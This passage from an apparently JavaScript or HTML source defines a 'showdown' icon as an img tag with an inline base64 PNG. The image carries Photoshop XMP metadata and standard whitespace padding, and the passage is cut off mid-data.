SuQmCC">',showdown:'<img width="20" height="20" align="absmiddle" src="data:image/png;base64,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/GMzLdsAAECtaVRYdFhNTDpjb20uYWRvYmUueG1wAAAAAAA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/Pgo8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjYtYzA2NyA3OS4xNTc3NDcsIDIwMTUvMDMvMzAtMjM6NDA6NDIgICAgICAgICI+CiAgIDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICAgICAgICAgIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIKICAgICAgICAgICAgeG1sbnM6cGhvdG9zaG9wPSJodHRwOi8vbnMuYWRvYmUuY29tL3Bob3Rvc2hvcC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iCiAgICAgICAgICAgIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIgogICAgICAgICAgICB4bWxuczpzdEV2dD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlRXZlbnQjIgogICAgICAgICAgICB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIj4KICAgICAgICAgPHhtcDpDcmVhdG9yVG9vbD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNSAoV2luZG93cyk8L3htcDpDcmVhdG9yVG9vbD4KICAgICAgICAgPHhtcDpDcmVhdGVEYXRlPjIwMTUtMDEtMTVUMjE6MDE6MTlaPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNZXRhZGF0YURhdGU+MjAxNy0xMC0yNFQxMzozMTozMCswMTowMDwveG1wOk1ldGFkYXRhRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlEYXRlPjIwMTctMTAtMjRUMTM6MzE6MzArMDE6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8cGhvdG9zaG9wOkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8cGhvdG9zaG9wOklDQ1Byb2ZpbGU+c1JHQiBJRUM2MTk2Ni0yLjE8L3Bob3Rvc2hvcDpJQ0NQcm9maWxlPgogICAgICAgICA8cGhvdG9zaG9wOlRleHRMYXllcnM+CiAgICAgICAgICAgIDxyZGY6QmFnPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHBob3Rvc2hvcDpMYXllck5hbWU+UyAtPC9waG90b3Nob3A6TGF5ZXJOYW1lPgogICAgICAgICAgICAgICAgICA8cGhvdG9zaG9wOkxheWVyVGV4dD5TIC08L3Bob3Rvc2hvcDpMYXllclRleHQ+CiAgICAgICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpCYWc+CiAgICAgICAgIDwvcGhvdG9zaG9wOlRleHRMYXllcnM+CiAgICAgICAgIDxkYzpmb3JtYXQ+aW1hZ2UvcG5nPC9kYzpmb3JtYXQ+CiAgICAgICAgIDx4bXBNTTpJbnN0YW5jZUlEPnhtcC5paWQ6N2NkMzQxNzctOWYyZi0yNDRiLWEyYjQtMzU1MzJkY2Y1MWJiPC94bXBNTTpJbnN0YW5jZUlEPgogICAgICAgICA8eG1wTU06RG9jdW1lbnRJRD5hZG9iZTpkb2NpZDpwaG90b3Nob3A6M2E1YzgxYmYtYjhiNy0xMWU3LTk0NDktYTQ2MzdlZjJkNjMzPC94bXBNTTpEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06T3JpZ2luYWxEb2N1bWVudElEPnhtcC5kaWQ6NjBDNUFFNjVGNjlDRTQxMTk0NUE4NTVFM0JDQTdFRUI8L3htcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD4KICAgICAgICAgPHhtcE1NOkhpc3Rvcnk+CiAgICAgICAgICAgIDxyZGY6U2VxPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5jcmVhdGVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6NjBDNUFFNjVGNjlDRTQxMTk0NUE4NTVFM0JDQTdFRUI8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDp3aGVuPjIwMTUtMDEtMTVUMjE6MDE6MTlaPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6ODZjNjBkMGQtOGY0Yy01ZTRlLWEwMjQtODI4ZWQyNTIwZDc3PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEwLTI0VDEzOjMxOjMwKzAxOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNSAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdlbnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAgICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5jb252ZXJ0ZWQ8L3N0RXZ0OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OnBhcmFtZXRlcnM+ZnJvbSBhcHBsaWNhdGlvbi92bmQuYWRvYmUucGhvdG9zaG9wIHRvIGltYWdlL3BuZzwvc3RFdnQ6cGFyYW1ldGVycz4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmRlcml2ZWQ8L3N0RXZ0OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OnBhcmFtZXRlcnM+Y29udmVydGVkIGZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmc8L3N0RXZ0OnBhcmFtZXRlcnM+CiAgICAgICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5zYXZlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6aW5zdGFuY2VJRD54bXAuaWlkOjdjZDM0MTc3LTlmMmYtMjQ0Yi1hMmI0LTM1NTMyZGNmNTFiYjwvc3RFdnQ6aW5zdGFuY2VJRD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OndoZW4+MjAxNy0xMC0yNFQxMzozMTozMCswMTowMDwvc3RFdnQ6d2hlbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OnNvZnR3YXJlQWdlbnQ+QWRvYmUgUGhvdG9zaG9wIENDIDIwMTUgKFdpbmRvd3MpPC9zdEV2dDpzb2Z0d2FyZUFnZW50PgogICAgICAgICAgICAgICAgICA8c3RFdnQ6Y2hhbmdlZD4vPC9zdEV2dDpjaGFuZ2VkPgogICAgICAgICAgICAgICA8L3JkZjpsaT4KICAgICAgICAgICAgPC9yZGY6U2VxPgogICAgICAgICA8L3htcE1NOkhpc3Rvcnk+CiAgICAgICAgIDx4bXBNTTpEZXJpdmVkRnJvbSByZGY6cGFyc2VUeXBlPSJSZXNvdXJjZSI+CiAgICAgICAgICAgIDxzdFJlZjppbnN0YW5jZUlEPnhtcC5paWQ6ODZjNjBkMGQtOGY0Yy01ZTRlLWEwMjQtODI4ZWQyNTIwZDc3PC9zdFJlZjppbnN0YW5jZUlEPgogICAgICAgICAgICA8c3RSZWY6ZG9jdW1lbnRJRD54bXAuZGlkOjYwQzVBRTY1RjY5Q0U0MTE5NDVBODU1RTNCQ0E3RUVCPC9zdFJlZjpkb2N1bWVudElEPgogICAgICAgICAgICA8c3RSZWY6b3JpZ2luYWxEb2N1bWVudElEPnhtcC5kaWQ6NjBDNUFFNjVGNjlDRTQxMTk0NUE4NTVFM0JDQTdFRUI8L3N0UmVmOm9yaWdpbmFsRG9jdW1lbnRJRD4KICAgICAgICAgPC94bXBNTTpEZXJpdmVkRnJvbT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAgICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAgICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAgICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxleGlmOkNvbG9yU3BhY2U+MTwvZXhpZjpDb2xvclNwYWNlPgogICAgICAgICA8ZXhpZjpQaXhlbFhEaW1lbnNpb24+NjQ8L2V4aWY6UGl4ZWxYRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpQaXhlbFlEaW1lbnNpb24+NjQ8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC